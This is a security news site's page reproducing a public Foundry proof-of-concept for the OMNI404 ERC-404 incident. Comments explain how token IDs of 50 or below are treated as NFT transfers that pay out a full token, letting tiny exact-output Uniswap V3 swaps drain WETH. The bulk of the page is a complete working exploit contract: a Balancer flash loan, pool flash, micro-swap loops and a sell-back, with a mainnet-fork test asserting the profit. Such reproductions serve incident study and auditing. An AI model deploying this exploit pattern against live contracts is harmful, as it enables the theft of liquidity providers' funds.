Skip to content
THREATWIRE

Public reproduction file

src/test/2026-09/OMNI404_exp.sol

Public reproduction file for dataset entry OMNI404.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-09/OMNI404_exp.sol191 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5
6// OMNI404 (O404) - ERC-404 ID/amount dual-interpretation vs Uniswap V3 exact-output swaps - Ethereum.
7// Attacker net gain 2.427 WETH in the run() tx (2.427003380901677080).
8//
9// Attack tx (run): 0x4cbc3d8db832eb5442ce1c11d79fda05cafabfe7906933ed25881d60bf41d6f3 (block 25951648)
10// Attacker EOA : 0xFB26db4EAb18Cb50d29Ff431888dD643A7e9C9f8
11// Exploit (on-chain): 0x505B2EBea0EC6e30D02768f1de8DdE8Dd9122aD4
12// O404 token : 0xd5C02bB3e40494D4674778306Da43a56138A383E (verified; OMNI404 is ERC-404, maxTotalSupplyERC721=50)
13// Pool : 0xB3f613b9Bc84ddB29D78fA4685b01d98412BBa0b (Uniswap V3, token0=WETH, token1=O404, whitelisted in O404)
14// Balancer Vault : 0xBA12222222228d8Ba445958a75a0704d566BF2C8
15// WETH : 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
16//
17// ROOT CAUSE - which of the two circulating framings is correct, decided from the verified source + trace:
18// The operative bug is the dual ID/amount interpretation (the SlowMist framing, "B"), NOT an independent
19// floor-rounding round-trip leak (the community framing, "A"). From O404.transfer() (verified source):
20// function transfer(address to_, uint256 valueOrId_) {
21// if (valueOrId_ <= maxTotalSupplyERC721) { // maxTotalSupplyERC721 == 50
22// // treated as an ERC-721 id: moves 1*units (1e18) ERC-20 AND the NFT
23// require(msg.sender == _ownerOf[id]);
24// _transferERC20(msg.sender, to_, units); // <-- a FULL 1e18 regardless of the "value"
25// _transferERC721(msg.sender, to_, id);
26// } else { ...normal ERC-20 value transfer... }
27// }
28// A Uniswap V3 exact-output swap makes the pool send the output via token.transfer(recipient, amountOut).
29// When amountOut is a tiny wei value <= 50, O404 interprets it as "transfer NFT #amountOut" and pays out a
30// full 1e18 units (plus the NFT), while the pool's swap math only debits `amountOut` WEI. So the attacker
31// buys 1e18 O404 for ~2 wei of WETH per micro-swap. The require(msg.sender == _ownerOf[id]) means the POOL
32// must own the low ids first - which is arranged with a Uniswap V3 flash() of the ERC-20 (below).
33// Framing A is right about the setup (ERC-404 + whitelisted pool; the borrow really does mint 6 fresh NFTs,
34// minted 15 -> 21) and its "~65 loops" is just the count of micro-swaps, but its stated mechanism
35// (sub-unit floor rounding leaking per round-trip) is not what extracts the value; the ID/amount confusion is.
36//
37// Mechanism per cycle (run() repeats this 3x, after an initial 0.2 O404 buy, then a final 0.2 sell):
38// a) pool.flash(0, 20e18): borrow 20 O404. pool is whitelisted (no burn); this contract is not, so the
39// floor(balance/units) reconciliation MINTS ~20 NFTs (ids 1..21) to this contract from the stored bank.
40// b) repay the flash with ID-path transfers transfer(pool, id) for each owned id: each sends 1e18 + NFT,
41// so the principal is returned AND the pool is left OWNING low NFT ids 1..21.
42// c) buy-loop: for each id the pool now owns, swap exact-output of `id` wei. The pool's transfer(this, id)
43// hits the ID-path and pays out 1e18 O404 + the NFT for ~2 wei WETH. ~20 units reclaimed almost free.
44// d) sell the ~20 O404 back to the pool for real WETH. The pool's WETH reserve is what is drained.
45//
46// Profit reconciliation: run() alone nets 2.427003380901677080 WETH (SlowMist's "2.4 WETH"). The full incident
47// was 4 txs (deploy, run +2.427, then three drain() calls +0.367/+0.147/+0.079) ~= 3.02 ETH (the community
48// figure). This PoC reproduces run() in one pass and asserts against ~2.427 WETH.
50interface IERC20 {
51 function balanceOf(address) external view returns (uint256);
52 function transfer(address to, uint256 amount) external returns (bool);
55interface IWETH is IERC20 {
56 function withdraw(uint256) external;
59interface IO404 {
60 function transfer(address to, uint256 valueOrId) external returns (bool);
61 function balanceOf(address) external view returns (uint256);
62 function ownerOf(uint256 id) external view returns (address);
63 function minted() external view returns (uint256);
66interface IBalancerVault {
67 function flashLoan(address recipient, address[] calldata tokens, uint256[] calldata amounts, bytes calldata userData)
68 external;
71interface IUniswapV3Pool {
72 function swap(address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data)
73 external
74 returns (int256 amount0, int256 amount1);
75 function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;
78contract OMNI404Exploit {
79 IWETH constant WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
80 IO404 constant O404 = IO404(0xd5C02bB3e40494D4674778306Da43a56138A383E);
81 IUniswapV3Pool constant POOL = IUniswapV3Pool(0xB3f613b9Bc84ddB29D78fA4685b01d98412BBa0b);
82 IBalancerVault constant VAULT = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
84 uint160 constant MIN_SQRT = 4295128741; // price-down limit (buying O404, zeroForOne=true)
85 uint160 constant MAX_SQRT = 1461446703485210103287273052203988822378723970340; // price-up limit (selling O404)
87 uint256 constant FLASH_WETH = 5 ether;
88 uint256 constant BORROW_O404 = 20e18; // O404 flash-borrowed from the pool each cycle
89 uint256 constant MAX_ID = 50; // O404.maxTotalSupplyERC721
90 uint256 constant CYCLES = 3;
92 address public immutable owner;
94 constructor() {
95 owner = msg.sender;
96 }
98 function attack() external {
99 address[] memory tokens = new address[](1);
100 tokens[0] = address(WETH);
101 uint256[] memory amounts = new uint256[](1);
102 amounts[0] = FLASH_WETH;
103 VAULT.flashLoan(address(this), tokens, amounts, "");
104 // Forward profit to caller.
105 payable(owner).transfer(address(this).balance);
106 }
108 // ---- Balancer flash-loan callback ----
109 function receiveFlashLoan(address[] calldata, uint256[] calldata amounts, uint256[] calldata, bytes calldata) external {
110 require(msg.sender == address(VAULT), "not vault");
112 // Seed a 0.2 O404 fractional position (covers the V3 flash fee each cycle).
113 POOL.swap(address(this), true, -0.2e18, MIN_SQRT, "");
115 for (uint256 c = 0; c < CYCLES; c++) {
116 // (a)+(b): borrow 20 O404 (mints NFTs here), repaid inside uniswapV3FlashCallback via ID-path.
117 POOL.flash(address(this), 0, BORROW_O404, "");
119 // (c): reclaim each NFT the pool now owns via a tiny exact-output swap -> 1e18 O404 each, ~free.
120 uint256 hi = O404.minted();
121 for (uint256 id = 1; id <= hi; id++) {
122 if (O404.ownerOf(id) == address(POOL)) {
123 POOL.swap(address(this), true, -int256(id), MIN_SQRT, "");
124 }
125 }
127 // (d): dump the reclaimed O404 back into the pool for WETH.
128 POOL.swap(address(this), false, 19.8e18, MAX_SQRT, "");
129 }
131 // Sell the leftover fractional.
132 POOL.swap(address(this), false, 0.2e18, MAX_SQRT, "");
134 // Repay the Balancer flash loan (zero fee).
135 WETH.transfer(address(VAULT), amounts[0]);
137 // Unwrap the WETH surplus to native ETH.
138 WETH.withdraw(WETH.balanceOf(address(this)));
139 }
141 // ---- Uniswap V3 flash callback: repay the 20 O404 + fee using ID-path transfers ----
142 // Each transfer(pool, id) with id<=50 sends 1e18 O404 + NFT #id, leaving the pool owning the low ids.
143 function uniswapV3FlashCallback(uint256, uint256, bytes calldata) external {
144 require(msg.sender == address(POOL), "not pool");
145 uint256 hi = O404.minted();
146 for (uint256 id = 1; id <= hi; id++) {
147 if (O404.ownerOf(id) == address(this)) {
148 O404.transfer(address(POOL), id); // ID-path: 1e18 + NFT each
149 }
150 }
151 // Return the remaining fractional to cover principal rounding + fee.
152 O404.transfer(address(POOL), O404.balanceOf(address(this)));
153 }
155 // ---- Uniswap V3 swap callback: pay whichever token is owed (token0=WETH, token1=O404) ----
156 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata) external {
157 require(msg.sender == address(POOL), "not pool");
158 if (amount0Delta > 0) WETH.transfer(address(POOL), uint256(amount0Delta));
159 if (amount1Delta > 0) O404.transfer(address(POOL), uint256(amount1Delta));
160 }
162 receive() external payable {}
165contract OMNI404_exp is Test {
166 IERC20 constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
167 IO404 constant O404 = IO404(0xd5C02bB3e40494D4674778306Da43a56138A383E);
168 address constant POOL = 0xB3f613b9Bc84ddB29D78fA4685b01d98412BBa0b;
170 function testExploit() public {
171 vm.createSelectFork("mainnet", 25951647); // parent block of the exploit tx
173 emit log_named_decimal_uint("pool WETH before", WETH.balanceOf(POOL), 18);
174 emit log_named_uint("O404 minted before", O404.minted());
176 OMNI404Exploit exploit = new OMNI404Exploit();
177 uint256 balBefore = address(this).balance;
179 exploit.attack();
181 uint256 profit = address(this).balance - balBefore;
182 emit log_named_decimal_uint("pool WETH after ", WETH.balanceOf(POOL), 18);
183 emit log_named_uint("O404 minted after ", O404.minted());
184 emit log_named_decimal_uint("attacker ETH profit", profit, 18);
186 // Matches the on-chain run() gain of 2.427003380901677080 WETH (SlowMist's "2.4 WETH").
187 assertApproxEqRel(profit, 2.427003380901677080 ether, 0.02e18, "profit off expected ~2.427 WETH");
188 }
190 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “OMNI404” (2026-09-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xfb26db4eab18cb50d29ff431888dd643a7e9c9f8

  • Attack Tx

    0x4cbc3d8db832eb5442ce1c11d79fda05cafabfe7906933ed25881d60bf41d6f3

File record

Name
OMNI404
Path
src/test/2026-09/OMNI404_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
c1e13dc0fa11014d63edd03fb8d10020c4701b1d
Language
Solidity
Size
192 lines
Date
2026-09-09
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-09/OMNI404_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob c1e13dc0fa11014d63edd03fb8d10020c4701b1d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.